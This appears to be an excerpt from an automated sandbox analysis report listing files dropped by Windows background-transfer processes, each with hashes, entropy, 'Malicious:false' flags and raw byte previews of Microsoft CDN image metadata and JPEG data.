                  Download File
                  Process:C:\Windows\System32\svchost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):16384
                  Entropy (8bit):0.07560529294974365
                  Encrypted:false
                  SSDEEP:3:Nj7vfwnqxiGtJkfe8GAS9tJxifx/l/hdiqxiGtill3Vkttlmlnl:JrIkvPAS9i/l+KxQ3
                  MD5:BBA3F7368EE24EDA4308DD04146B72E8
                  SHA1:39C83161073F061A821DACAF1FE2834518574C86
                  SHA-256:B8C2E6E672464EF468730876D431A06AF964D1591995B2C07E2BF452F64D7E45
                  SHA-512:3CD3D91D4D3212D49DEB0CE4AE08D4F40EE67B70E298C2CF4D16DADF19789853FAA35244E17917B76A3E87DF0CF00BB9739D37C9A35F3F1B5A9F46168069BB2D
                  Malicious:false
                  Preview:i.......................................3...w..:....z5......z...............z.......z...`.......zag.........................z..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\157b3cd7-3899-4c48-8a55-562e2f442deb.48c4ee20-0520-461d-9536-f31abcf38fd4.down_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):1232
                  Entropy (8bit):3.6145869270072386
                  Encrypted:false
                  SSDEEP:24:LLVR2mRiwmXpjgWzgxjX+vUViwH72tBKf1+BnXsafxOc2CpX3K0bbGM/:LLD2mRi3XpjPgVX+v8iG72tBKN4XrfeE
                  MD5:5C5D54FC4D58A44AB7F8B030F6A9F76F
                  SHA1:AEFE5D8B04F3A620ED6DDD49D07A8A077EEBA27A
                  SHA-256:616E5D4BAEBD885DAFAD0D15C9D89F79B19BBD2CC4A3244E90D82469971B1472
                  SHA-512:B9C251A6362B6F29FAC8C7553EA5B8C4B78CA32C96AD80D311773F8F9D983267B4AA2D6436A6A617F1D15CF6831EB4BD9638229A86B5774E397E6BE8B04D6895
                  Malicious:false
                  Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.l.T.B.?.v.e.r.=.2.a.9.4...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.l.T.B.?.v.e.r.=.2.a.9.4...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .S.u.n.,. .0.3. .J.u.l. .2.0.2.2. .0.5.:.0.2.:.3.7. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.6.6.0.8.3.3...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .a.e.8.d.a.1.5.5.-.9.0.f.0.-.4.f.7.0.-.a.5.f.d.-.3.d.e.c.7.8.3.e.c.9.6.9...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.6.6.0.8.3.3...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\157b3cd7-3899-4c48-8a55-562e2f442deb.up_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):278
                  Entropy (8bit):3.3894363370336076
                  Encrypted:false
                  SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRct:ZxMghwLtHSM1Sb9mSMXAvwR
                  MD5:A27F678F172C642E24DE4740C5B2DBC3
                  SHA1:36444729D96B371E3B182455FD5416A724875FF3
                  SHA-256:BF27499FEA1EC1D167352764D5DE5CC87FCE82683C3F8CDB3E3A19086DEC5C82
                  SHA-512:7846A476F6349EB719D781B6F529DCAAB21140067A54756A3C51E695B20E4C5FF74F5CA798181023D22860E9EA36C9E452EC003AB8A1B242033EB43F3EFA627F
                  Malicious:false
                  Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.l.T.B.?.v.e.r.=.2.a.9.4...........

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\1b43a0c3-d252-4fd6-a8f9-27f06c34deb8.4179db59-a2c7-49c8-8ed9-c24d34c07748.down_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):1228
                  Entropy (8bit):3.6250666144209323
                  Encrypted:false
                  SSDEEP:24:LLVR2mRiwSXFWzgx71+MhusafxOc2CpXpjjX+vUViwSHB9X3CbbzrG/:LLD2mRijX+gvzurfeIXpjjX+v8ijHB9r
                  MD5:C87C7CC519BE368088EA81BFC7A11809
                  SHA1:63C066B428A89BEDCD443B3A7413F4E88AD96819
                  SHA-256:AF1B177859F0FA998755236B30BA1925BBF18FC238BCC8B490BE462F3D16B653
                  SHA-512:D549FA36445B1DA652ED84CC2110B77F24451EAC921DD0708D9B66D4424423C5F2CA29E55721713667F97C06D7525F0A7FF323D72CAD4ADD86CCE045DA6EEF49
                  Malicious:false
                  Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.N.U.V.S.?.v.e.r.=.0.8.b.c...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .S.u.n.,. .0.3. .J.u.l. .2.0.2.2. .1.3.:.4.1.:.1.6. .G.M.T...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .3.3.4.6.a.8.f.9.-.2.c.0.8.-.4.6.d.7.-.9.e.2.0.-.0.f.e.9.8.d.c.7.3.4.8.d...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.N.U.V.S.?.v.e.r.=.0.8.b.c...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .3.7.5.2.8.3...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .3.7.5.2.8.3...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.u.b.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\1b43a0c3-d252-4fd6-a8f9-27f06c34deb8.down_data

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1920x1080, frames 3
                  Category:dropped
                  Size (bytes):375283
                  Entropy (8bit):7.963504574438959
                  Encrypted:false
                  SSDEEP:6144:O5LP2IoANOy1sHfDoLRk4K31hJIiMWolRfrsALd3BD7WDZ/yx3DmahS224xhsJeD:O5r5R1sHfD0RRK3vrToXoALhBD7WN/qV
                  MD5:6E283BD936F96D8085573487CFD92A4A
                  SHA1:6297801DC459B11D886C68F84403AE7A42BD3ECE
                  SHA-256:BDAC1E0C34C64E2FD22B62048B4429A9D05199CE22EABBF3574C31FC6B98ADBC
                  SHA-512:0B1BE4A29B7B4E9CB36613EC1D78C51E773B4282AC6301B1D17AEEA2D43FE99D680BABABB727E4DAA1D4EE509D08DF0D5F77E9C177FFD79367208A63C5FB0958
                  Malicious:false
                  Preview:......JFIF.....`.`.....C....................................................................C.......................................................................8...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......I..Fz.?.. ..A..a.:w..6.#<SUx.z...>..4./.dT.s....x..T..$.=i.`.w=..9q...W.u...... .W.J..L..zf..........z....Oz6..../...rx.:5.}(..?Z.@.~.\....9W.0q.5.M?h..`^x.....z..8.....q....^...}).....#..L,&..=z.G...O..=?.H.P;..W..).<..\n.u..F...jE_.....i....4..n...*..sN.6......8.zR...y..#.)..8<...)v.....q.K..qQ............;.Jr..;o..lR......U..q..

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\1f5a31f7-2e53-4f7c-b3e1-1b89743b8cbe.48c4ee20-0520-461d-9536-f31abcf38fd4.down_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):1232
                  Entropy (8bit):3.6145869270072386
                  Encrypted:false
                  SSDEEP:24:LLVR2mRiwmXpjgWzgxjX+vUViwH72tBKf1+BnXsafxOc2CpX3K0bbGM/:LLD2mRi3XpjPgVX+v8iG72tBKN4XrfeE
                  MD5:5C5D54FC4D58A44AB7F8B030F6A9F76F
                  SHA1:AEFE5D8B04F3A620ED6DDD49D07A8A077EEBA27A
                  SHA-256:616E5D4BAEBD885DAFAD0D15C9D89F79B19BBD2CC4A3244E90D82469971B1472
                  SHA-512:B9C251A6362B6F29FAC8C7553EA5B8C4B78CA32C96AD80D311773F8F9D983267B4AA2D6436A6A617F1D15CF6831EB4BD9638229A86B5774E397E6BE8B04D6895
                  Malicious:false
                  Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.l.T.B.?.v.e.r.=.2.a.9.4...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.l.T.B.?.v.e.r.=.2.a.9.4...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .S.u.n.,. .0.3. .J.u.l. .2.0.2.2. .0.5.:.0.2.:.3.7. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.6.6.0.8.3.3...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .a.e.8.d.a.1.5.5.-.9.0.f.0.-.4.f.7.0.-.a.5.f.d.-.3.d.e.c.7.8.3.e.c.9.6.9...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.6.6.0.8.3.3...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\1f5a31f7-2e53-4f7c-b3e1-1b89743b8cbe.down_data

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop 21.1 (Windows), datetime=2022:03:02 13:23:15]
                  Category:dropped
                  Size (bytes):1660833
                  Entropy (8bit):6.930794506164581
                  Encrypted:false
                  SSDEEP:24576:+4jNiVr4qksnz807k9ZliEKBcI/prV/RmJGoGa1KZTOsePRxaAxS2+gPu/Zj:+4jNiVr4qu0frZfWxaaqgG/Zj
                  MD5:2CD6B59B5F9D8E356D332AA2E645CAFF
                  SHA1:A981FFE89A6EC691AB4E5DAD320832D3236ECC12
                  SHA-256:3E97C246B7A8DFB0590215FC3C7236583D4AFDFEF0315D89770BB8FE7305DF1C
                  SHA-512:CB2A41C198ED4D119ABADA123A96359E923864E73AD3F937DA5DB0AB679C3095AD8E7608DBC737C433B417214716F08450D78FACCB395790B0249C4C6AE12868
                  Malicious:false
                  Preview:....!.Exif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop 21.1 (Windows).2022:03:02 13:23:15.............................8..........................................."...........*.(.....................2.......... I.......H.......H..........Adobe_CM......Adobe.d...................................................................................................................................................Z.."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?...H..{.....hNZ.un.../.%...yt.....Co......".+\..K..z.4...........c>.*....6~.M.~=.N.?.......2.......w._..n.....W:..k.*..f.}':..7.......+.9.f.b.5

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\2182b717-81b5-485b-9b70-542b526b5033.78ab6cd6-ea34-4d6f-add6-03cbd3762aed.down_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):1228
                  Entropy (8bit):3.6266274414309803
                  Encrypted:false
                  SSDEEP:24:LLVR2mRi2XpjgWzgxjX+vUViFzRBK81+2kDY5safxOc2CpX3K1bFrQO3U:LLD2mRi2XpjPgVX+v8i5RBKGDrfeIX3d
                  MD5:B155DB1A5911FFD94EA8BD2F9EAFBCB9
                  SHA1:DC790962D96973C1BE4A3D0B5379669EAEB1D948
                  SHA-256:BEB910AA12967681247335BF3EE8C1937D4C185955F242923F90B4296C3565B0
                  SHA-512:8F930F45E3CBA1F3731E8FF7C96CA46EDC0D29EF31F3A6EB4BE89A804A447DC4F299D7A0ECDD8E02E02DE30554D7F48422BE0D9E31CE7CBDD23A45FAE5C275C7
                  Malicious:false
                  Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.N.c.j.q.?.v.e.r.=.8.f.9.d...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.N.c.j.q.?.v.e.r.=.8.f.9.d...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .S.u.n.,. .1.7. .J.u.l. .2.0.2.2. .1.7.:.5.8.:.3.9. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.6.9.2.2.5.1...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .b.c.9.5.7.3.c.b.-.1.3.7.f.-.4.3.0.7.-.8.d.7.7.-.4.d.5.4.c.3.9.6.5.5.a.2...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.6.9.2.2.5.1...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.u.b.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\2182b717-81b5-485b-9b70-542b526b5033.up_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):276
                  Entropy (8bit):3.426873554748573
                  Encrypted:false
                  SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQijG:ZxMghwLtHSM1Sb9mSMXAv0
                  MD5:2E9D415DA8F3E797B292CAFC2137C207
                  SHA1:7BDA71CA86B0B9673E3ED52479F244D79ED1557A
                  SHA-256:C16A675EEA042563B42EB0ABAC1329881355D794A15AC6F3056C850416A53E77
                  SHA-512:472B142D965EB9CC90EA5D08D35DB19C73BB1E7F7F598A0DF70FFEED81334D34BC7893311C5F30C01BAF205B129C884C7B7457B9711A55AD1B4953CF0AD95074
                  Malicious:false
                  Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.N.c.j.q.?.v.e.r.=.8.f.9.d...........

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\2dec7337-adc4-4f09-85d5-c42f7fd6a84f.f8c93ed6-0f0b-4688-9ccc-7f5c52c3c5ce.down_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):1226
                  Entropy (8bit):3.612777015023952
                  Encrypted:false
                  SSDEEP:24:LLVR2mRiwXpjgWzgxjX+vUViGj1BC1+9vclosafxOc2CpX3bbDx5//:LLD2mRiwXpjPgVX+v8i0B4dorfeIX3bH
                  MD5:9E2C4859A83864663454C02A0365C11F
                  SHA1:541393E9818494A5BAEE4FD02151DC20C8B98E84
                  SHA-256:2DC327AE1FD92C36D93478E686B7B373FBE98E8D6DBC9E0486F015075C2B7411
                  SHA-512:F1B54126ADEB30B6870EB3347F1F42F028286813BBC1583E830CEDA48D32436B0A0FF06AC3D20C28530F41653E15FFA416573FE492E89111E788783C5D2C5AD2
                  Malicious:false
                  Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.N.8.W.k.?.v.e.r.=.4.1.a.a...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.N.8.W.k.?.v.e.r.=.4.1.a.a...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .S.a.t.,. .0.2. .J.u.l. .2.0.2.2. .2.1.:.0.8.:.2.9. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.8.4.1.6.0.5...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .f.4.d.7.7.b.6.3.-.8.1.5.9.-.4.a.c.d.-.8.8.2.b.-.e.9.f.a.4.d.a.d.1.5.5.b...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.8.4.1.6.0.5...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.u.b.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\2dec7337-adc4-4f09-85d5-c42f7fd6a84f.up_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):276
                  Entropy (8bit):3.398940562195868
                  Encrypted:false
                  SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQijylTuoyv1:ZxMghwLtHSM1Sb9mSMXAv02S11
                  MD5:4BCCBFC917BEC2DAA622E49D4EC5EA93
                  SHA1:F10B2DFBEE4D3511FC0428906B38E06236471971
                  SHA-256:A1E14C5E75B813F62F4EAA95CB800E0F1D139AEE4230BDDB6D4E5EE35513D67A
                  SHA-512:7AF9CD55A3EE38057F67701A4FAE921369E4FB704515127C2BF4F41E6BB9A698B31503997596289E7C017DAAFEEBA6127209FF5BCCC14666375DDF1ACE28524C
                  Malicious:false
                  Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.W.N.8.W.k.?.v.e.r.=.4.1.a.a...........

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\5f18f12e-4981-4dba-96da-0c30a3c6bd57.down_data

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop 21.1 (Windows), datetime=2022:03:02 13:22:10]
                  Category:dropped
                  Size (bytes):1708865
                  Entropy (8bit):6.97847786200903
                  Encrypted:false
                  SSDEEP:24576:HdC81bzUVyezQkoZvNEyfcO/irM/R0JGSUxf8QQYVzaIPhwkXtpxODfAL9OeQZzE:HdC81bzIzMbXVzag5OjCOeQJkd
                  MD5:BEA60D73FB1ECED3027734526438F17C
                  SHA1:94EF9697C95742084DB52EDC303FD4DA31286FE3
                  SHA-256:0F41D7DBC9F23B935077A920C03146802FFA26B1342E5A262E62750DDCDDAE21
                  SHA-512:29BC20AA7B8C40E1E4B2738F2C9FAA23A1A0D37A34FF44866F81551FE9B374A6EE4EDED8D4292CF2DE3D928D7B008701922AE7A7DD48E9CDBC63A08D4F3CC6C7
                  Malicious:false
                  Preview:......Exif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop 21.1 (Windows).2022:03:02 13:22:10.........................................8..............................."...........*.(.....................2...................H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................Z...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..M<.....5 hL..}%....{(.........d8..{+...9....$..r,.6t.J=?......g.....+.3.p..88.4...[.o.......qzu..k_..yf.hh...~....F..M.@7..x....+......?r..]o..6.E

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\5f18f12e-4981-4dba-96da-0c30a3c6bd57.fde5831d-51bb-41a2-99fd-58481ccdc222.down_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):1232
                  Entropy (8bit):3.624411213031456
                  Encrypted:false
                  SSDEEP:24:LLVR2mRiw5CuXpjgWzgxjX+vUViw5nrBB41+lPDipsafxOc2CpX3JbRE/:LLD2mRi+1XpjPgVX+v8i+dBiqPD6rfev
                  MD5:F8AE46441B5FA4BFB01694BD85CF9FF5
                  SHA1:5C001BD71277378CFD494BEBB4C7F1DB5E83C18D
                  SHA-256:94B126607FDAC1B739775A6537AF9569D2248277A353C6565C02D0B6FE717F90
                  SHA-512:C70932761B865E405FC8A0095B7B0FF5151FFD0F0DA611223A4DC31D0760B8B85F8327E33FBEA976439240BE5A4AFCFFB07553E3E4235DDFBFC807D2DCD8390D
                  Malicious:false
                  Preview:h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.w.e.j.?.v.e.r.=.c.b.f.0...C.o.n.t.e.n.t.-.T.y.p.e.:. .i.m.a.g.e./.j.p.e.g...A.c.c.e.s.s.-.C.o.n.t.r.o.l.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...C.o.n.t.e.n.t.-.L.o.c.a.t.i.o.n.:. .h.t.t.p.s.:././.i.m.a.g.e...p.r.o.d...c.m.s...r.t...m.i.c.r.o.s.o.f.t...c.o.m./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.P.w.e.j.?.v.e.r.=.c.b.f.0...L.a.s.t.-.M.o.d.i.f.i.e.d.:. .M.o.n.,. .1.8. .J.u.l. .2.0.2.2. .0.3.:.1.6.:.1.8. .G.M.T...X.-.S.o.u.r.c.e.-.L.e.n.g.t.h.:. .1.7.0.8.8.6.5...X.-.D.a.t.a.c.e.n.t.e.r.:. .n.o.r.t.h.e.u...X.-.A.c.t.i.v.i.t.y.I.d.:. .3.b.3.0.3.f.5.5.-.c.4.4.f.-.4.4.5.a.-.8.0.b.2.-.3.9.0.2.9.1.7.3.7.1.c.3...T.i.m.i.n.g.-.A.l.l.o.w.-.O.r.i.g.i.n.:. .*...X.-.F.r.a.m.e.-.O.p.t.i.o.n.s.:. .D.E.N.Y...X.-.R.e.s.i.z.e.r.V.e.r.s.i.o.n.:. .1...0...C.o.n.t.e.n.t.-.L.e.n.g.t.h.:. .1.7.0.8.8.6.5...C.a.c.h.e.-.C.o.n.t.r.o.l.:. .p.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\6389f93d-d52f-4ead-a112-1be06250b904.fde5831d-51bb-41a2-99fd-58481ccdc222.down_meta

                  Download File
                  Process:C:\Windows\System32\BackgroundTransferHost.exe
                  File Type:data
                  Category:dropped
                  Size (bytes):1232
                  Entropy (8bit):3.624411213031456
                  Encrypted:false
                  SSDEEP:24:LLVR2mRiw5CuXpjgWzgxjX+vUViw5nrBB41+lPDipsafxOc2CpX3JbRE/:LLD2mRi+1XpjPgVX+v8i+dBiqPD6rfev
                  MD5:F8AE46441B5FA4BFB01694BD85CF9FF5
                  SHA1:5C001BD71277378CFD494BEBB4C7F1DB5E83C18D
                  SHA-256:94B126607FDAC1B739775A6537AF9569D2248277A353C6565C02D0B6FE717F90
